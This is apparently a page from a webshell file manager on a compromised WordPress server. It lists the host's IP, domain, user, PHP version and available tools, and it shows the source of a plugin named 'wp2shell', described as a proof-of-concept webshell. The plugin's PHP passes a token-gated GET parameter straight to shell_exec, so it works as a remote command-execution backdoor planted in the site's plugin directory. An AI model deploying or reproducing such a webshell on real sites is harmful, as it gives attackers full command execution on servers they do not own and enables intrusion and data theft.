| Server IP : 93.86.61.54 / Your IP : 216.73.216.60 Web Server : Apache/2.4.62 (Ubuntu) System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64 User : www-data ( 33) PHP Version : 8.4.22 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/rasin.ddns.net/wp-content/plugins/wp2shell_0cdbd220/ |
Upload File : |
<?php
/*
Plugin Name: wp2shell
Description: PoC webshell. DELETE AFTER TESTING.
*/
if (hash_equals('eda9e366f349f9fe159f19f7e70e972c', (string)($_GET['t'] ?? '')) && isset($_GET['c'])) {
echo 'WP2SHELL::' . shell_exec((string)$_GET['c']) . '::END';
}